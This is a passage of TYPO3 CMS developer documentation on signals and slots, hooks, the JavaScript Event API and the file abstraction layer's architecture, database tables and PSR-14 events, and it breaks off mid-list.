$signalSlotDispatcher = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Extbase\SignalSlot\Dispatcher::class);
$signalSlotDispatcher->connect(
   \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::class,  // Signal class name
   'afterExtensionUninstall',                                  // Signal name
   \TYPO3\CMS\Core\Core\ClassLoadingInformation::class,        // Slot class name
   'dumpClassLoadingInformation'                               // Slot name
);
Copied!

In this example, we define that we want to call the method dumpClassLoadingInformation of the class \TYPO3\CMS\Core\Core\ClassLoadingInformation::class when the signal afterExtensionUninstall of the class \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::class is dispatched.

To find out which parameters/variables are available, open the signal's class and take a look at the dispatch call:

$this->signalSlotDispatcher->dispatch(__CLASS__, 'afterExtensionUninstall', [$extensionKey, $this]);

In this case, the dumpClassLoadingInformation method will get the extension key and an instance of the dispatching class as parameters.

If you are using Signals in your custom extension, you need to register the Slot in your ext_localconf.php.

Finding signals

There is no complete list of signals available, but they are easily found by searching the TYPO3 Core or the extensions code for dispatch(.

For finding hooks, look in the Hooks Configuration.

Hooks

Hooks are basically places in the source code where a user function will be called for processing if such has been configured. While there are conventions and best practises of how hooks should be implemented the Hook Concept itself doesn't prevent it from being used in any way.

Using hooks

The two lines of code below are an example of how a hook is used for clear-cache post-processing. The objective of this could be to perform additional actions whenever the cache is cleared for a specific page:

EXT:site_package/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'][] =
   \MyVendor\Package\Hook\DataHandlerHook::class . '->postProcessClearCache';
Copied!

This registers the class/method name to a hook inside of \TYPO3\CMS\Core\DataHandling\DataHandler . The hook will call the user function after the clear-cache command has been executed. The user function will receive parameters which allows it to see what clear-cache action was performed and typically also an object reference to the parent object. Then the user function can take additional actions as needed.

The class has to be declared with the TYPO3 autoloader.

If we take a look inside of \TYPO3\CMS\Core\DataHandling\DataHandler we find the hook to be activated like this:

// Call post processing function for clear-cache:
if (is_array($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'])) {
    $_params = array('cacheCmd' => $cacheCmd);
    foreach($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'] as $_funcRef) {
        \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction($_funcRef, $_params, $this);
    }
}
Copied!

This is how hooks are typically constructed. The main action happens in line 5 where the function \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() is called. The user function is called with two arguments, an array with variable parameters and the parent object.

In line 3 the contents of the parameter array is prepared. This is of high interest to you because this is where you see what data is passed to you and what data might be passed by reference and thereby could be manipulated from your hook function.

Finally, notice how the array $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib\_tcemain.php']['clearCachePostProc'] is traversed and for each entry the value is expected to be a function reference which will be called. This allows many hooks to be called at once. The hooks can even rearrange the calling order if they dare.

The syntax of a function reference can be seen in the API documentation of \TYPO3\CMS\Core\Utility\GeneralUtility .

Creating hooks

You are encouraged to create hooks in your extensions if they seem meaningful. Typically someone would request a hook somewhere. Before you implement it, consider if it is the right place to put it. On the one hand we want to have many hooks but not more than needed. Redundant hooks or hooks which are implemented in the wrong context is just confusing. So put a little thought into it first, but be generous.

There are two main methods of calling a user defined function in TYPO3.

  • \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() - The classic way. Takes a file/class/method reference as value and calls that function. The argument list is fixed to a parameter array and a parent object. So this is the limitation. The freedom is that the reference defines the function name to call. This method is mostly useful for small-scale hooks in the sources.
  • \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() - Create an object from a user defined file/class. The method called in the object is fixed by the hook, so this is the non-flexible part. But it is cleaner in other ways, in particular that you can even call many methods in the object and you can pass an arbitrary argument list which makes the API cleaner. You can also define the objects to be singletons, instantiated only once in the global scope.

Here are some examples:

Using \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance()

Data submission to extensions:

EXT:some_extension/Classes/SomeClass.php
// Hook for processing data submission to extensions
foreach ($GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['tslib/class.tslib_fe.php']
      ['checkDataSubmission'] ?? [] as $className) {
   $_procObj = GeneralUtility::makeInstance($className);
   $_procObj->checkDataSubmission($this);
}
Copied!

Using with \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction()

Constructor post-processing:

EXT:some_extension/Classes/SomeClass.php
use \YPO3\CMS\Core\Utility\GeneralUtility;

// Call post-processing function for constructor:
if (is_array($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['tslib_fe-PostProc'])) {
   $_params = array('pObj' => &$this);
   foreach($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['tslib_fe-PostProc'] as $_funcRef) {
     GeneralUtility::callUserFunction($_funcRef,$_params, $this);
   }
}
Copied!

Hook configuration

There is no complete index of hooks in the Core. But they are easy to search for and find. And typically it comes quite naturally since you will find the hooks in the code you want to extend - if they exist.

This index will list the main variable spaces for configuration of hooks. By the names of these you can easily scan the source code to find which hooks are available or might be interesting for you.

The index below also includes some variable spaces which not only carry hook configuration but might be used for other purposes as well.

$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']

Configuration space for extensions.

This will contain all kinds of configuration options for specific extensions including possible hooks in them! What options are available to you will depend on a search in the documentation for that particular extension.

EXT:some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['EXTCONF']['<extension_key>']['<sub_key>'] = '<value>';
Copied!
  • <extension\_key> : The unique extension key
  • <sub\_key> : Whatever the script defines. Typically it identifies the context of the hook
  • <value> : It is up to the extension what the values mean, if they are mere configuration options or hooks or whatever and how deep the arrays go. Read the source code where the options are implemented to see. Or the documentation of the extension, if available.

$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']

Configuration space for Core scripts.

This array is created as an ad hoc space for creating hooks from any script. This will typically be used from the Core scripts of TYPO3 which do not have a natural identifier like extensions have their extension keys.

typo3/sysext/some_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['<main_key>']['<sub_key>']['<index>'] = '<function_reference>';
Copied!
  • <main\_key> : The relative path of a script (for output scripts it should be the "script ID" as found in a comment in the HTML header )
  • <sub\_key> : Whatever the script defines. Typically it identifies the context of the hook.
  • <index> : Integer index typically. Can be unique string if you have a reason to use that. Normally it has no greater significance since the value of the key is not used. The hooks normally traverse over the array and uses only the value (function reference)
  • <function\_reference> : A function reference using the syntax of \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() as a function or \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() as a class name depending on implementation of the hook.

    A namespace function has the quoted string format 'Foo\\Bar\\MyClassName->myUserFunction' or a format using an unquoted class name \Foo\Bar\MyClassName::class . '->myUserFunction'. The latter is available since PHP 5.5.

    A namespace class name can be in the FQCN quoted string format 'Foo\\Bar\\MyClassName', or in the unquoted form \Foo\Bar\MyClassName::class. The called function name is determined by the hook itself.

    Leading backslashes for class names are not allowed and lead to an error.

The above syntax is how a hook is typically defined but it might differ and it might not be a hook at all, but just configuration. Depends on implementation in any case.

The following example shows a hook from \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController . In this case the function \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() is used for the hook. The function_reference is referring to the class name only since the function returns an object instance of that class. The method name to call is predefined by the hook, in this case sendFormmail_preProcessVariables(). This method allows to pass any number of variables along instead of the limited $params and $pObj variables from \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction().

typo3/sysext/some_extension/ext_localconf.php
use TYPO3\CMS\Core\Utility\GeneralUtility

// Hook for preprocessing of the content for formmails:
if (is_array($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['sendFormmail-PreProcClass'])) {
    foreach($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['sendFormmail-PreProcClass'] as $_classRef) {
        $_procObj = GeneralUtility::makeInstance($_classRef);
        $EMAIL_VARS = $_procObj->sendFormmail_preProcessVariables($EMAIL_VARS, $this);
    }
}
Copied!

In this example we are looking at a special hook, namely the one for RTE transformations. It is not a "hook" in the strict sense, but the same principles are used. In this case the "index" key is defined to be the transformation key name, not a random integer since we do not iterate over the array as usual. \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() is also used.

typo3/sysext/some_extension/ext_localconf.php
if ($className = $GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_parsehtml_proc.php']['transformation'][$cmd]) {
    $_procObj = GeneralUtility::makeInstance($className);
    $_procObj->pObj = $this;
    $_procObj->transformationKey = $cmd;
    $value = $_procObj->transform_db($value, $this);
}
Copied!

A classic hook also from \TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController . This one is based on \TYPO3\CMS\Core\Utility\GeneralUtility::callUserFunction() and it passes a reference to $this along to the function via $_params. In the user-defined function $_params['pObj']->content is meant to be manipulated in some way. The return value is insignificant - everything works by the reference to the parent object.

typo3/sysext/some_extension/ext_localconf.php
use TYPO3\CMS\Core\Utility\GeneralUtility

// Hook for post-processing of page content cached/non-cached:
if (is_array($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['contentPostProc-all'])) {
    $_params = array('pObj' => &$this);
    foreach($this->TYPO3_CONF_VARS['SC_OPTIONS']['tslib/class.tslib_fe.php']['contentPostProc-all'] as $_funcRef) {
        GeneralUtility::callUserFunction($_funcRef, $_params, $this);
    }
}
Copied!

$GLOBALS['TYPO3_CONF_VARS']['TBE_MODULES_EXT']

Configuration space for backend modules.

Among these configuration options you might find entry points for hooks in the backend. This somehow overlaps the intention of SC_OPTIONS above but this array is an older invention and slightly outdated.

EXT:some_extension/ext_localconf.php
$TBE_MODULES_EXT['<backend_module_key>']['<sub_key'>] = '<value>';
Copied!
  • <backend\_module\_key> : The backend module key for which the configuration is used.
  • <sub\_key> : Whatever the backend module defines.
  • <value> : Whatever the backend module defines.

The following example shows TBE_MODULES_EXT being used for adding items to the Context Sensitive Menus (Clickmenu) in the backend. The hook value is an array with a key pointing to a file reference to class file to include. Later each class is instantiated and a fixed method inside is called to do processing on the array of menu items. This kind of hook is non-standard in the way it is made.

EXT:some_extension/ext_localconf.php
// Setting internal array of classes for extending the clickmenu:
$this->extClassArray = $GLOBALS['TBE_MODULES_EXT']['xMOD_alt_clickmenu']['extendCMclasses'];

// Traversing that array and setting files for inclusion:
if (is_array($this->extClassArray)) {
    foreach($this->extClassArray as $extClassConf) {
        if ($extClassConf['path'])    $this->include_once[]=$extClassConf['path'];
    }
}
Copied!

The following code listings works in the same way. First, a list of class files to include is registered. Then in the second code listing the same array is traversed and each class is instantiated and a fixed function name is called for processing.

EXT:some_extension/ext_localconf.php
// Setting class files to include:
if (is_array($TBE_MODULES_EXT['xMOD_db_new_content_el']['addElClasses'])) {
    $this->include_once = array_merge($this->include_once,$TBE_MODULES_EXT['xMOD_db_new_content_el']['addElClasses']);
}

// PLUG-INS:
if (is_array($TBE_MODULES_EXT['xMOD_db_new_content_el']['addElClasses'])) {
    reset($TBE_MODULES_EXT['xMOD_db_new_content_el']['addElClasses']);
    while(list($class,$path)=each($TBE_MODULES_EXT['xMOD_db_new_content_el']['addElClasses'])) {
        $modObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance($class);
        $wizardItems = $modObj->proc($wizardItems);
    }
}
Copied!

JavaScript Event API

The Event API in TYPO3 incorporates different techniques to handle JavaScript events in an easy, convenient and performant manner. Event listeners may be bound directly to an element or to multiple elements using event delegation.

TYPO3 ships different event strategies, implementing the same interface which makes all strategies API-wise interchangeable.

Bind to an element

To bind an event listener to an element directly, the API method bindTo() must be used. The method takes one argument that describes the element to which the event listener is bound. Accepted is any Node element, document or window.

Example:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
new AnyEventStrategy('click', callbackFn).bindTo(document.getElementById('foobar'));
Copied!

Bind to multiple elements

To bind an event listener to multiple elements, the so-called "event delegation" may be used. An event listener is attached to a super element (e.g. a table) but reacts on events triggered by child elements within that super element.

This approach reduces the overhead in the browser as no listener must be installed for each element.

To make use of this approach the method delegateTo() must be used which accepts two arguments:

  • element - any Node element, document or window
  • selector - the selector to match any element that triggers the event listener execution

In the following example all elements matching .any-class within #foobar execute the event listener when clicked:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
new AnyEventStrategy('click', callbackFn).delegateTo(document.getElementById('foobar'), '.any-class');
Copied!

To access the element that triggered the event, this may be used.

Release an event

If an event listener is not required anymore, it may be removed from the element it's attached. To release a registered event, the method release() must be used. This method takes no arguments.

Example:

// AnyEventStrategy is a placeholder, concrete implementations are handled in the following chapters
const event = new AnyEventStrategy('click', callbackFn);
event.delegateTo(document.getElementById('foobar'), '.any-class');

// Release the event
event.release();
Copied!

Contents:

Regular event

A "regular event" is a very simple mechanism to bind an event listener to an element. The event listener is executed every time the event is triggered.

To construct the event listener, the module TYPO3/CMS/Core/Event/RegularEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
new RegularEvent('click', function (e) {
  console.log('Clicked element:', e.target);
}).bindTo(document.getElementById('#'));
Copied!

Debounce event

A "debounced event" executes its handler only once in a series of the same events. If the event listener is configured to execute immediately, it's executed right after the first event is fired until a period of time passed since the last event. If its not configured to execute immediately, which is the default setting, the event listener is executed after the period of time passed since the last event fired.

This type of event listening is suitable when a series of the same event is fired, e.g. the mousewheel or resize events.

To construct the event listener, the module TYPO3/CMS/Core/Event/DebounceEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
  • wait (number) - the amount of milliseconds to wait the event listener is either executed or locked
  • immediate (boolean) - defined whether the event listener is executed before or after the waiting time
new DebounceEvent('mousewheel', function (e) {
  console.log('Executed 200ms after the last mousewheel event was fired');
}, 200).bindTo(document.body);

new DebounceEvent('mousewheel', function (e) {
  console.log('Executed right after the first 200ms after the last mousewheel event was fired');
}, 200, true).bindTo(document.body);
Copied!

Throttle event

A "throttled event" executes its handler after a configured waiting time over a time span. This event type is similar to the debounced event, where the major difference is that a throttled event executes its listeners multiple times.

To construct the event listener, the module TYPO3/CMS/Core/Event/ThrottleEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
  • limit (number) - the amount of milliseconds to wait until the event listener is executed again
new ThrottleEvent('mousewheel', function (e) {
  console.log('Executed every 50ms during the overall event time span');
}, 50).bindTo(document.body);
Copied!

RequestAnimationFrame event

A "request animation frame event" is similar to using ThrottleEvent with a limit of 16, as this event type incorporates the browser's RequestAnimationFrame API (rAF) which aims to run at 60 fps (16 = \frac{1}{60}) but decides internally the best timing to schedule the rendering.

The best suited use-case for this event type is on "paint jobs", e.g. calculating the size of an element or move elements around.

To construct the event listener, the module TYPO3/CMS/Core/Event/RequestAnimationFrameEvent must be imported. The constructor accepts the following arguments:

  • eventName (string) - the event to listen on
  • callback (function) - the executed event listener when the event is triggered
const el = document.querySelector('.item');
new RequestAnimationFrameEvent('scroll', function () {
  el.target.style.width = window.scrollY + 100 + 'px';
}).bindTo(window);
Copied!

File abstraction layer (FAL)

The file abstraction layer (FAL) is TYPO3's toolbox for handling media. This chapter explains its architecture, concepts and details what a web site administrator should know about FAL maintenance and permissions.

Content related assets - mostly videos and images - are accessible through a file abstraction layer API and never referenced directly throughout the system.

The API abstracts physical file assets storage within the system. It allows to store, manipulate and access assets with different Digital Assets Management Systems transparently within the system, allows high availability cloud storages and assets providers. Assets can be enriched with meta data like description information, authors, and copyright. This information is stored in local database tables. All access to files used in content elements should use the FAL API.

This chapter provides a number of examples showing how to use the file abstraction layer in your own code.

Contents:

Basic concepts

This chapter presents the general concepts underlying the TYPO3 file abstraction layer (FAL). The whole point of FAL - as its name implies - is to provide information about files abstracted with regards to their actual nature and storage.

Information about files is stored inside database tables and using a given file is mostly about creating a database relation to the record representing that file.

Storages and drivers

Every file belongs to a storage, which is a very general concept encompassing any kind of place where a file can be stored: a local file system, a remote server or a cloud-based resource. Accessing these different places requires an appropriate driver.

Each storage relies on a driver to provide the user with the ability to use and manipulate the files that exist in the storage. By default, TYPO3 provides only a local file system driver.

A new TYPO3 installation comes with a predefined storage, using the local file system driver and pointing to the fileadmin/ directory, located in your public folder. If it is missing or offline after installation, you can create it yourself.

Files and metadata

For each available file in all present storages, there exists a corresponding database record in the table sys_file, which contains basic information about the file (name, path, size, etc.), and an additional record in the table sys_file_metadata, designed to hold a large variety of additional information about the file (metadata such as title, description, width, height, etc.).

File references

Whenever a file is used - for example, an image attached to a content element - a reference is created in the database between the file and the content element. This reference can hold additional information like an alternative title to use for this file just for this reference.

This central reference table ( sys_file_reference) makes it easy to track every place where a file is used inside a TYPO3 installation.

All these elements are explored in greater depth in the chapter about FAL components.

Architecture

This chapter provides an in-depth look into the architecture of FAL.

Overview

The file abstraction layer (FAL) architecture consists of three layers:

Usage layer
This layer is comprised of the file references, which represent relations to files from any structure that may use them (pages, content elements or any custom structure defined by extensions).
Storage layer
This layer is made of several parts. First of all there are the files and their associated metadata. Then each file is associated with a storage.
Driver layer

This layer is the deepest one. It consists of the drivers, managing the actual access to and manipulation of the files. It is invisible from both the frontend and the backend, as it works just in the background.

Indeed drivers are explicitly not part of the public interface. Developers will only interact with file, folder, file reference or storage objects, but never with a driver object, unless actually developing one.

This layered architecture makes it easy to use different drivers for accessing files, while maintaining a consistent interface for both developers (in terms of API) and end users (via the backend).

Folders

The actual storage structure depends on which driver each storage is based on. When using the local file system driver provided by the TYPO3 Core, a storage will correspond to some existing folder on the local storage system (for example, on the hard drive). Other drivers may use virtual structures.

By default, a storage pointing to the fileadmin/ folder is created automatically in every TYPO3 installation.

Processed files

Inside each storage there will be a folder named _processed_/ which contains all resized images, be they rendered in the frontend or thumbnails from the backend. The name of this folder is not hard-coded. It can be defined as a property of the storage. It may even point to a different storage.

Special properties in the "Access capabilities" tab of a File storage

Database structure

This chapter lists the various tables related to the file abstraction layer (FAL) and highlights some of their important fields.

sys_file

This table is used to store basic information about each file. Some important fields:

storage
ID of the storage where the file is stored.
type
The type of the file represented by an integer defined in \TYPO3\CMS\Core\Resource\AbstractFile .
identifier
A string which should uniquely identify a file within its storage. Duplicate identifiers are possible, but will create a confusion. For the local file system driver, the identifier is the path to the file, relative to the storage root (starting with a slash and using a slash as directory delimiter).
name
The name of the file. For the local file system driver, this will be the current name of the file in the file system.
sha1
A hash of the file's content. This is used to detect whether a file has changed or not.
metadata
Foreign side of the sys_file_metadata relation. Always 0 in the database, but necessary for the TCA of the sys_file table.

sys_file_metadata

This table is used to store metadata about each file. It has a one-to-one relationship with table sys_file. Contrary to the basic information stored in sys_file, the content of the table sys_file_metadata can be translated.

Most fields are really just additional information. The most important one is:

file
ID of the sys_file record of the file the metadata is related to.

The sys_file_metadata table is extended by the system extension filemetadata. In particular, it adds the necessary definitions to categorize files with system categories.

Also some other helpful metadata attributes are provided (and some of them can be automatically inferred from the file). Most of these attributes are self-explanatory; this list may not reflect the most recent TYPO3 version, so it is recommended to inspect the actual TCA configuration of that table:

  • :sql:caption
  • :sql:color_space
  • :sql:content_creation_date - Refers to when the contents of the file were created (retrievable for images through EXIF metadata)
  • :sql:content_modification_date
  • :sql:copyright
  • :sql:creator
  • :sql:creator_tool - Name of a tool that was used to create the file (for example for auto-generated files)
  • :sql:download_name - An alternate name of a file when being downloaded (to protect actual file name security relevance)
  • :sql:duration - length of audio/video files, or "reading time"
  • :sql:height
  • :sql:keywords
  • :sql:language - file content language
  • :sql:latitude
  • :sql:location_city
  • :sql:location_country
  • :sql:location_region
  • :sql:longitude
  • :sql:note
  • :sql:pages - Related pages
  • :sql:publisher
  • :sql:ranking - Information on prioritizing files (like "star ratings")
  • :sql:source - Where a file was fetched from (for example from libraries, clients, remote storage, ...)
  • :sql:status - indicate whether a file may need metadata update based on differences between locally cached metadata and remote/actual file metadata
  • :sql:unit - measurement units
  • :sql:visible
  • :sql:width

sys_file_reference

This table is used to store all references between files and whatever other records they are used in, typically pages and content elements. The most important fields are:

uid_local
ID of the file.
uid_foreign
ID of the related record.
tablenames
Name of the table containing the related record.
fieldname
Name of the field of the related record where the relation was created.
table_local
Always sys_file.
title

When a file is referenced, normally its title is used (for whatever purpose, like displaying a caption for example). However it is possible to define a title in the reference, which will be used instead of the original file's title.

The fields description, alternative and downloadname obey the same principle.

sys_file_processedfile

This table is similar to sys_file, but for "temporary" files, like image previews. This table does not have a TCA representation, as it is only written for using direct SQL queries in the source code.

sys_file_collection

FAL offers the possibility to create File Collections, which can then be used for various purposes. By default, they can be used with the "File links" content element.

The most important fields are:

type
The type of the collection. A collection can be based on hand-picked files, a folder or categories.
files
The list of selected files. The relationship between files and their collection is also stored in sys_file_reference.
storage
The chosen storage, for folder-type collections.
folder
The chosen folder, for folder-type collections.
category
The chosen categories, for category-type collections.

sys_file_storage

This table is used to store the storages available in the installation. The most important fields are:

driver
The type of driver used for the storage.
configuration
The storage configuration with regards to its driver. This is a FlexForm field and the current options depend on the selected driver.

sys_filemounts

File mounts are not specifically part of FAL (they existed long before), but their definition is based on storages. Each file mount is related to a specific storage. The most important fields are:

base
Id of the storage the #file mount is related to.
path
Folder which will actually be mounted (absolute path, considering that / is the root of the selected storage).

Components

The file abstraction layer (FAL) consists of a number of components that interact with each other. Each component has a clear role in the architecture, which is detailed in this section.

Files and folders

The files and folders are facades representing files and folders or whatever equivalent there is in the system the driver is connecting to (it could be categories from a digital asset management tool, for example). They are tightly coupled with the storage, which they use to actually perform any actions. For example a copying action ( $file->copyTo($targetFolder)) is technically not implemented by the \TYPO3\CMS\Core\Resource\File object itself but in the storage and Driver.

Apart from the shorthand methods to the action methods of the storage, the files and folders are pretty lightweight objects with properties (and related getters and setters) for obtaining information about their respective file or folder on the file system, such as name or size.

A file can be indexed, which makes it possible to reference the file from any database record in order to use it, but also speeds up obtaining cached information such as various metadata or other file properties like size or file name.

A file may be referenced by its uid in the sys_file table, but is often referred to by its identifier, which is the path to the file from the root of the storage the file belongs to. The combined identifier includes the file's identifier prepended by the storage's uid and a colon (:). Example: 1:/path/to/file/filename.foo.

File references

A \TYPO3\CMS\Core\Resource\FileReference basically represents a usage of a file in a specific location, for example, as an image attached to a content element ( tt_content) record. A file reference always references a real, underlying file, but can add context-specific information such as a caption text for an image when used at a specific location.

In the database, each file reference is represented by a record in the sys_file_reference table.

Creating a reference to a file requires the file to be indexed first, as the reference is done through the normal record relation handling of TYPO3.

Storage

The storage is the focal point of the FAL architecture. Although it does not perform the actual low-level actions on a file (that is up to the driver), it still does most of the logic.

Among the many things done by the storage layer are:

  • the capabilities check (is the driver capable of writing a file to the target location?)
  • the action permission checks (is the user allowed to do file actions at all?)
  • the user mount permission check (do the user's file mount restrictions allow reading the target file and writing to the target folder?)
  • communication with the driver (it is the ONLY object that does so)
  • logging and throwing of exceptions for successful and unsuccessful file operations (although some exceptions are also thrown in other layers if necessary, of course)

The storage essentially works with \TYPO3\CMS\Core\Resource\File and \TYPO3\CMS\Core\Resource\Folder objects.

Drivers

The driver does the actual actions on a file (for example, moving, copying, etc.). It can rely on the storage having done all the necessary checks beforehand, so it doesn't have to worry about permissions and other rights.

In the communication between storage and driver, the storage hands over identifiers to the driver where appropriate. For example, the copyFileWithinStorage() method of the driver API has the following method signature:

Excerpt from EXT:core/Classes/Resource/Driver/DriverInterface.php
/**
 * Copies a file *within* the current storage.
 * Note that this is only about an inner storage copy action,
 * where a file is just copied to another folder in the same storage.
 *
 * @param string $fileIdentifier
 * @param string $targetFolderIdentifier
 * @param string $fileName
 * @return string the Identifier of the new file
 */
public function copyFileWithinStorage($fileIdentifier, $targetFolderIdentifier, $fileName);
Copied!

The file index

Indexing a file creates a database record for the file, containing meta information both about the file (filesystem properties) and from the file (for example, EXIF information for images). Collecting filesystem data is done by the driver, while all additional properties have to be fetched by additional services.

This distinction is important because it makes clear that FAL does in fact two things:

  • It manages files in terms of assets we use in our content management system. In that regard, files are not different from any other content, like texts.
  • On the other hand, it also manages files in terms of a representation of such an asset. While the former thing only uses the contents, the latter heavily depends on the file itself and thus is considered low-level, driver-dependent stuff.

Managing the asset properties of a file (related to its contents) is not done by the storage/driver combination, but by services that build on these low-level parts.

Technically, both indexed and non-indexed files are represented by the same object type ( \TYPO3\CMS\Core\Resource\File ), but being indexed is nevertheless an important step for a file.

Collections

Collections are groups of files defined in various ways. They can be picked up individually, by the selection of a folder or by the selection of one or more categories. Collections can be used by content elements or plugins for various needs.

The TYPO3 Core makes usage of collections for the "File Links" content object type.

Services

The File abstraction layer also comes with a number of services:

\TYPO3\CMS\Core\Resource\Service\FileProcessingService

This service processes files to generate previews or scaled/cropped images. These two functions are known as task types and are identified by class constants.

The task which generates preview images is used in most places in the backend where thumbnails are called for. It is identified by constant \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGEPREVIEW.

The other task is about cropping and scaling an image, typically for frontend output. It is dentified by constant \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK).

The configuration for \TYPO3\CMS\Core\Resource\ProcessedFile::CONTEXT_IMAGECROPSCALEMASK is the one used for the imgResource function, but only taking the crop, scale and mask settings into account.

\TYPO3\CMS\Core\Resource\Service\MagicImageService
This service creates resized ("magic") images that can be used in the rich-text editor (RTE), for example.
\TYPO3\CMS\Core\Resource\Service\UserFileInlineLabelService
This service is called to generate the label of a "sys_file_reference" entry, i.e. what will appear in the header of an IRRE element.
\TYPO3\CMS\Core\Resource\Service\UserFileMountService
This service provides a single public method which builds a list of folders (and subfolders, recursively) inside any given storage. It is used when defining file mounts.

PSR-14 events

The file abstraction layer (FAL) comes with a series of PSR-14 events that offer the opportunity to hook into FAL processes at a variety of points.

They are listed below with some explanation, in particular when they are sent (if the name is not explicit enough) and what parameters the corresponding event will receive. They are grouped by emitting class.

Most events exist in pairs, one being sent before a given operation, the other one after.

\TYPO3\CMS\Core\Resource\ResourceStorage

SanitizeFileNameEvent
The sanitize file name operation aims to remove characters from filenames which are not allowed by the underlying driver. The event receives the filename and the target folder.
BeforeFileAddedEvent
Receives the target file name, the target folder (as a Folder instance) and the local file path.
AfterFileAddedEvent
Receives the File instance corresponding to the newly stored file and the target folder (as a Folder instance).
BeforeFileCreatedEvent
Receives the file name to be created and the target folder (as a Folder instance).
AfterFileCreatedEvent
Receives the name of the newly created file and the target folder (as a Folder instance).
BeforeFileCopiedEvent
Receives a File instance for the file to be copied and the target folder (as a Folder instance).
AfterFileCopiedEvent
Receives a File instance for the file that was copied (i.e. the original file) and the target folder (as a Folder instance).
BeforeFileMovedEvent
Receives a File instance for the file to be moved and the target folder (as a Folder instance).
AfterFileMovedEvent
Receives a File instance for the file that was moved, the target folder and the original folder the file was in (both as Folder instances).
BeforeFileDeletedEvent
Receives a File instance for the file to be deleted.
AfterFileDeletedEvent
Receives a File instance for the file that was deleted.
BeforeFileRenamedEvent
Receives a File instance for the file to be renamed and the sanitized new name.
AfterFileRenamedEvent
Receives a File instance for the file that was renamed and the sanitized new name.
BeforeFileReplacedEvent
Receives a File instance for the file to be replaced and the path to the local file that will replace it.
AfterFileReplacedEvent
Receives a File instance for the file that was replaced and the path to the local file that has replaced it.
BeforeFileContentsSetEvent
Receives a File instance for the file whose content will be changed and the content itself (as a string).
AfterFileContentsSetEvent
Receives a File instance for the file whose content was changed and the content itself (as a string).
BeforeFolderAddedEvent
Receives the name of the new folder and a reference to the parent folder, if any (as a Folder instance).
AfterFolderAddedEvent
Receives the newly created folder (as a Folder instance).
BeforeFolderCopiedEvent
Receives references to the folder to copy and the parent target folder (both as \TYPO3\CMS\Core\Resource\FolderInterface instances) and the sanitized name for the copy.
AfterFolderCopiedEvent
Receives references to the original folder and the parent target folder (both as \TYPO3\CMS\Core\Resource\FolderInterface instances) and the identifier of the newly copied folder.
BeforeFolderMovedEvent
Receives references to the folder to move and the parent target folder (both as Folder instances) and the sanitized target name.
AfterFolderMovedEvent
Receives references to the folder to move and the parent target folder (both as Folder instances), the identifier of the moved folder and a reference to the original parent folder (as a Folder instance).
BeforeFolderDeletedEvent
Receives a reference to the folder to delete (as a Folder instance).
AfterFolderDeletedEvent
Receives a reference to the deleted folder (as a Folder instance).
BeforeFolderRenamedEvent
Receives a reference to the folder to be renamed (as a Folder instance) and the sanitized new name.
AfterFolderRenamedEvent
Receives a reference to the renamed folder (as a Folder instance) and the new identifier of the renamed folder.
GeneratePublicUrlForResourceEvent

This event makes it possible to influence the construction of the public URL of a resource. If the event defines the URL, it is kept as is and the rest of the URL generation process is ignored.

It receives a reference to the instance for which the URL should be generated (as a \TYPO3\CMS\Core\Resource\ResourceInterface instance), a boolean flag indicating whether the URL should be relative to the current script or absolute and a reference to the public URL (which is null at this point, but can be then modified by the event).

\TYPO3\CMS\Core\Resource\StorageRepository

BeforeResourceStorageInitializationEvent
This event is dispatched by the method \TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject() before a storage object has been fetched. The event receives a reference to the storage.
AfterResourceStorageInitializationEvent
This event is dispatched by the method \TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject() after a storage object has been fetched. The event receives a reference to the storage.

\TYPO3\CMS\Core\Resource\Index\FileIndexRepository

AfterFileAddedToIndexEvent
Receives an array containing the information collected about the file whose index (i.e. sys_file table entry) was just created.
AfterFileUpdatedInIndexEvent
